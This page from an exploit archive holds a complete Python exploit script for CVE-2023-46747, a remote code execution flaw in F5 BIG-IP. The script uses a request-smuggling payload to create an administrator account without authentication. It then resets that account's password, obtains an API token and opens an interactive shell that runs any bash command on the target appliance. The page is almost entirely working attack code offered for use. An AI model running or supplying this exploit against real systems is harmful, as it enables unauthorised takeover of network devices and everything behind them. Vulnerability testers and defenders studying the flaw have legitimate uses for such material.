4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-46747-RCE.py PY
import argparse
import binascii
import json
import random
import time
import urllib3
import requests

urllib3.disable_warnings()

def determineWhetherToUseBurpSuite(proxyUrl):
    try:
        faviconUrl = f"{proxyUrl}/favicon.ico"
        resp = requests.get(faviconUrl, verify=False, timeout=5)
        if resp.status_code == 200:
            return True
        else:
            return False
    except:
        return False

def generatesth(num):
    charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
    return ''.join(random.choice(charset) for _ in range(num))

def get_random_agent():
    agent_list = [
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'
    ]
    return random.choice(agent_list)

def unauth_create_user(target, username, password, proxy):
    login_request_hex = "0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d" + binascii.hexlify(username.encode()).decode() + "266e616d655f6265666f72653d267061737377643d" + binascii.hexlify(password.encode()).decode() + "267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00"
    login_data = b"204\r\n" + binascii.unhexlify(login_request_hex) + b"\r\n0\r\n\r\n"
    url = f"{target}/tmui/login.jsp"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Transfer-Encoding": "chunked, chunked",
        "User-Agent": get_random_agent()
    }
    try:
        resp = requests.post(url=url, headers=headers, data=login_data, verify=False, proxies=proxy)
        time.sleep(5)
        if resp.status_code == 200:
            return True
        else:
            return False
    except:
        return False

def reset_passwd(target, user, passwd, proxy):
    url = f"{target}/mgmt/tm/auth/user/{user}"
    headers ={
        "Content-Type": "application/json"
    }

    target_json = {
        "password": f"{passwd}"
    }
    try:
        resp = requests.patch(url=url, headers=headers, json=target_json, verify=False, proxies=proxy, auth=(f"{user}", f"{passwd}"))
        time.sleep(5)
        if resp.status_code == 200:
            return 1
        else:
            return ""
    except:
        return ""

def get_token(target, user, passwd, proxy):
    url = f"{target}/mgmt/shared/authn/login"
    headers = {
        "Content-Type": "application/json"
    }
    target_json = {
        "username": user,
        "password": passwd
    }
    try:
        resp = requests.post(url=url, headers=headers, json=target_json, verify=False, proxies=proxy)
        time.sleep(5)
        if resp.status_code == 200:
            return json.loads(resp.content.decode())["token"]["token"]
        else:
            return ""
    except:
        return ""

def exec_command(target, token, cmd, proxy):
    url = f"{target}/mgmt/tm/util/bash"
    headers = {
        "X-F5-Auth-Token": token
    }
    cmd_json = {
        "command": "run",
        "utilCmdArgs": f"-c \"{cmd}\""
    }
    try:
        resp = requests.post(url=url, headers=headers, json=cmd_json, verify=False, proxies=proxy)
        if resp.status_code == 200:
            return json.loads(resp.content.decode())["commandResult"].rstrip('\n')
        else:
            return ""
    except:
        return ""

def exploit(t, proxy):
    u = generatesth(5)
    p = generatesth(12)
    print(f"\033[94m[*] start to attack: {t}\033[0m")
    if unauth_create_user(t, u, p, proxy):
        print(f"\033[94m[*] It seems that the user may have been successfully created without authorization and is trying to obtain a token to verify.\033[0m")
        print(f"\033[94m[*] Changing initial password to the same thing. Required for first login.")
        pw_change = reset_passwd(t, u, p, proxy)
        if pw_change != "":
            token = get_token(t, u, p, proxy)
            if token != "":
                print(f"\033[92m[+] username: [{u}], password: [{p}], token: [{token}]. The website has vulnerability CVE-2023-46747!\033[0m")
                print("\033[94m[*] start executing commands freely~\033[0m")
                time.sleep(2)
                while True:
                    c = input("\033[93mCVE-2023-46747-RCE@W01fh4cker# \033[0m")
                    if c != "":
                        result = exec_command(t, token, c, proxy)
                        retry_time = 0
                        if result != "":
                            print(result)
                        else:
                            while retry_time < 10:
                                result = exec_command(t, token, c, proxy)
                                if result != "":
                                    print(result)
                                    break
                                else:
                                    if retry_time == 9 and result == "":
                                        print(f"\033[91m[-] username: [{u}], password: [{p}], command: [{c}],  token: [{token}]. The command [{c}] failed to execute. Please check your network or try manual exploitation.\033[0m")
                                    retry_time += retry_time + 1
                                    print(f"\033[91m        --> [-] The command [{c}] failed to execute. Attempting {retry_time}th retry.\033[0m")
                    else:
                        continue

            else:
                print(f"\033[91m[-] username: [{u}], password: [{p}]. Failed to obtain token. There is a high probability that this website does not have vulnerability CVE-2023-46747. Please try again or test manually by yourself.\033[0m")
        else:
            print(f"\033[91m[-] username: [{u}], password: [{p}]. Unable to change initial password.\033[0m")
    else:
        print("\033[91m[-] There is no vulnerability in this site.\033[0m")

if __name__ == "__main__":
    banner = """
  ______     _______     ____   ___ ____  _____       _  _    __ _____ _  _ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \|___ /      | || |  / /|___  | || |___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_ \ _____| || |_| '_ \ / /| || |_ / / 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__   _| (_) / / |__   _/ /  
 \____|  \_/  |_____|   |_____|\___/_____|____/         |_|  \___/_/     |_|/_/   
                                                                            Author: W01fh4cker
                                                                            Blog: https://w01fh4cker.github.io
    """
    print(banner)
    parser = argparse.ArgumentParser(description="F5 BIG-IP TMUI remote code execution vulnerability CVE-2023-46747 Written By W01fh4cker",add_help="eg: python CVE-2023-46747-RCE.py -u https://192.168.149.150:8443/")
    parser.add_argument("-u", "--url", help="target URL", required=True)
    parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890")
    args = parser.parse_args()
    if args.url.endswith("/"):
        url = args.url[:-1]
    else:
        url = args.url
    if args.proxy:
        if args.proxy.startswith("http"):
            if determineWhetherToUseBurpSuite(args.proxy):
                print("\033[94m[*] DO NOT USE BURPSUITE!!! For details, please see https://github.com/W01fh4cker/CVE-2023-46747-RCE/issues/3\033[0m")
                exit(0)
        proxy = {
            'http': args.proxy,
            'https': args.proxy
        }
    else:
        proxy = {}
    exploit(url, proxy)